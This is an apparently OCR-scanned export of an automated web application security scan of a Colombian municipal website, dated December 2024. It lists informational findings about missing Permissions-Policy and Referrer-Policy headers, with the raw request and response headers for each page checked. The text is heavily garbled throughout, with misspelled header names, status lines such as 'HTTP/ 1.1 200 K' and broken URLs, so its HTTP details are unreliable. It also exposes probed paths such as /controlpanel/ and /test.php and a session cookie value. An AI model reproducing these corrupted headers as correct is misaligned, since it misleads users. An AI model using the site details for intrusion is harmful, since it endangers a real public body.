Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec-Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromi unt';v="124", "Headl essChrone";v="124", "Not-A.Brand";v="99"
Sec- Ch- Ua- Mobi l e: 2?0

Sec- Ch-Ua-Platform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 05:16:57 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/ wp-j son/wp/ v2/ posts/ 805>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=805>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tribe/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Web Application Scanning Detailed Scan Export:
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Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/28/datos-abiertos/

Identification

OUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 28/ dat os- abi ert os/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 28/ dat os- abi ert os/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 04:52:23 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/585>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=585>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/test.php

Identification

OUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi namarca. gov. co/test. php

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ test. php

REQUEST HEADERS

Web Application Scanning Detailed Scan Export:
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Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbi l e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: ngi nx

Date: Thu, 19 Dec 2024 02:22:54 G
Cont ent - Type: text/htm; charset=UTF-8
Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/2023/12/29/informacion-de-la-entidad/

Identification

OUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ i nf or maci on- de- | a- ent i dad/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ i nf or maci on- de- | a- ent i dad/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec-Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromi unt';v="124", "Headl essChrone";v="124", "Not-A.Brand";v="99"
Sec- Ch- Ua- Mobi l e: 2?0

Sec- Ch-Ua-Platform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 03:11:24 GV

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/wp/ v2/ posts/ 632>, rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=632>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tribe/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

Web Application Scanning Detailed Scan Export:
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INSTANCE
https://chia-cundinamarca.gov.co/index.php/tramites-y-servicios/sisben

Identification

OUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi nanarca. gov. co/ i ndex. php/tramites-y-servicios/sisben

HTTP Info

REQUEST MADE
GET /index. php/tramites-y-servicios/sisben HITP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chromne/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; g=0.5

Cooki e: googtrans=/es/it; cpsession=%8aHqQ 26kRGUsy2Bt J9%2c4b043945560f da9514b19964b4b5be4?2; ti nezone=Etc/ UTC

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: nginx

Date: Thu, 19 Dec 2024 04:01:41 GVr

Cont ent - Type: text/htm; charset=utf-8

Transfer - Encodi ng: chunked

Connection: keep-alive

X- Logged- I n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'

Expi res: Wed, 17 Aug 2005 00: 00: 00 GVIT

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=a5h853b5f 45bde4860b15€2765387503; path=/; HttpOnly
Last-Modi fied: Thu, 19 Dec 2024 04:01:41 GVI

INSTANCE

https://chia-cundinamarca.gov.co/cache/

Identification

OUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi namar ca. gov. co/ cache/

HTTP Info

REQUEST MADE
CGET https://chia-cundi namar ca. gov. co/ cache/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"

Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"
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Accept: */*
Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 02:08:25 GVl

Cont ent - Type: text/htm

Content-Length: 31

Connection: keep-alive

Last-Modified: Sun, 11 Dec 2016 21:51:10 GMI
Accept - Ranges: bytes

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/12/17/1os-salones-de-artes-plasticas-abren-sus-puertas-para-el-arte-y-
cultura-en-chia/

Identification

OUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 17/ 1 os- sal ones- de- art es-
pl asti cas- abren-sus-puertas-para-el-arte-y-cul tura-en-chia/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 17/ 1 os- sal ones- de- art es- pl asti cas-abren-sus-puertas-para-el-arte-y-
cul tura-en-chial

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua-Platform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0. 5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 07:35:13 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ post s/ 22370>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=22370>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/02/26/impuesto-predial-unificado/
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Identification

OUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi namarca. gov. co/ web/ 2024/ 02/ 26/ i npuest o- pr edi al - uni fi cado/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 02/ 26/ i npuest o- pr edi al - uni fi cado/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec-Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni';v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua-Platform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 06:17:33 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/ wp-j son/ wp/ v2/ posts/4113>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/ ?p=4113>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/tramites-y-servicios/

Identification

OUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi nanarca. gov. co/ web/tram tes-y-servicios/

HTTP Info

REQUEST MADE
GET https://chia-cundi namarca. gov. co/ web/tram tes-y-servicios/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"

Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua-Pl atform "Linux"
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Accept: */*
Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 03:50:28 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
/wp-j son/ wp/ v2/ pages/ 63>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=63>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/

Identification

OUTPUT
No Perm ssions-Policy headers were found on https://chia-cundi namar ca. gov. co/ web/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobbi l e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 00: 15:28 GMVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-json/>; rel="https://api.w org/", <https://chia-cundi namarca. gov.co/ web
[/ wp-j son/ wp/ v2/ pages/ 1107>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIGA N: https://chia-cundi nanarca. gov. co/ web

Cont ent - Encodi ng: gzi p
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Missing Referrer Policy

VULNERABILITY MINIgeN PLUGIN ID 98527

Description

Referrer Policy provides mechanisms to websites to restrict referrer information (sent in the referer header) that browsers will

be allowed to add.

No Referrer Policy header or metatag configuration has been detected.

Solution

Configure Referrer Policy on your website by adding 'Referrer-Policy' HTTP header or meta tag referrerin HTML.

See Also

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY

PLUGIN ID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSS VECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2019-04-02T00:00:00+00:00
2024-03-25T00:00:00+00:00
HTTP Security Header

Info

98527
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Missing Referrer Policy Instances (25)

VULNERABILITY MINIgeN PLUGIN ID 98527

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/05/10/tramite-para-solicitar-certificados-de-residencia-en-el-territorio-de-

chia-y-personerias-juridicas/

Identification

OUTPUT
No Referrer-Policy headers or body neta tags were found on https://chia-cundi namarca. gov. co/ web/ 2024/ 05/ 10/ tr ami t e- par a-
solicitar-certificados-de-residencia-en-el-territorio-de-chia-y-personerias-juridicas/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 05/ 10/ trani te-para-solicitar-certificados-de-residencia-en-el-territorio-
de-chi a-y- personeri as-juridicas/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: ngi nx

Date: Thu, 19 Dec 2024 05:04:12 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 7526>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=7526>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chi a-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/

Identification

OUTPUT
No Referrer-Policy headers or body neta tags were found on https://chi a-cundi namar ca. gov. co/ web/

Web Application Scanning Detailed Scan Export:
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HTTP Info

REQUEST MADE
GET https://chia-cundi nanar ca. gov. co/ web/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mbzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromi unt';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 00:15:28 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encoding

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 1107>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/web/>; rel=shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/directorio/

Identification

OUTPUT
No Referrer-Policy headers or body neta tags were found on https://chia-cundi namarca. gov. co/ web/ directori o/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ di rectori o/

REQUEST HEADERS

Referer: https://chia-cundi namarca. gov. co/ web/

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec-Fetch-Site: same-origin

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromi unt';v="124", "Headl essChrone";v="124", "Not-A.Brand";v="99"
Sec- Ch- Ua- Mobi l e: ?0

Sec- Ch-Ua-Platform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS
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HTTP/ 1.1 200 K

Server: ngi nx

Date: Thu, 19 Dec 2024 00: 46:26 GMVI

Content - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
[ wp-j son/ wp/ v2/ pages/ 566>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=566>; rel =shortlink

X- TEG- APl - VERSI ON:  v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/images/

Identification

OUTPUT
No Referrer-Policy headers or body neta tags were found on https://chia-cundi namarca. gov. co/ i mages/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ i mages/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 01:41:55 GVIT

Cont ent - Type: text/htm

Cont ent - Lengt h: 31

Connection: keep-alive

Last-Modified: Sun, 11 Dec 2016 21:51:10 GMVI
Accept - Ranges: bytes

INSTANCE

https://chia-cundinamarca.gov.co/controlpanel/

Identification

OUTPUT
No Referrer-Policy headers or body neta tags were found on https://chi a-cundi namarca. gov. co/ control panel /
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HTTP Info

REQUEST MADE
GET /control panel / HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebkKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%8aHqQ 26kRGUsy2Bt J9%2c4b043945560f da9514b19964b4b5be42

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 01:57:07 GVI
Cont ent - Type: text/htn

Transfer - Encodi ng: chunked
Connection: keep-alive

Vary: Accept-Encodi ng

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/alcaldia/

Identification

OUTPUT
No Referrer-Policy headers or body neta tags were found on https://chia-cundi namarca. gov. co/ web/ al cal di a/

HTTP Info

REQUEST MADE
GET https://chia-cundi namarca. gov. co/ web/ al cal di a/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 02:45:09 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 49>, rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi nanarca.gov.co
/ web/ ?p=49>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X-TEC-API - ORI G N: https://chia-cundi namar ca. gov. co/ web
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https://chia-cundinamarca.gov.co/web/alcaldia/

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/alcalde/

Identification

OUTPUT
No Referrer-Policy headers or body neta tags were found on https://chia-cundi namarca. gov. co/ web/ 2023/ 12/ 29/ al cal de/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ al cal de/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 02:58:37 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 623>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=623>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/participa/

Identification

OUTPUT
No Referrer-Policy headers or body neta tags were found on https://chia-cundi namarca. gov. co/ web/ parti ci pa/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ parti ci pa/

REQUEST HEADERS

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2023/12/29/alcalde/
https://chia-cundinamarca.gov.co/web/participa/

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbi l e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: ngi nx

Date: Thu, 19 Dec 2024 03:39:13 GUI

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
[ wp-j son/ wp/ v2/ pages/ 21196>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=21196>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/28/datos-abiertos/

Identification

OUTPUT
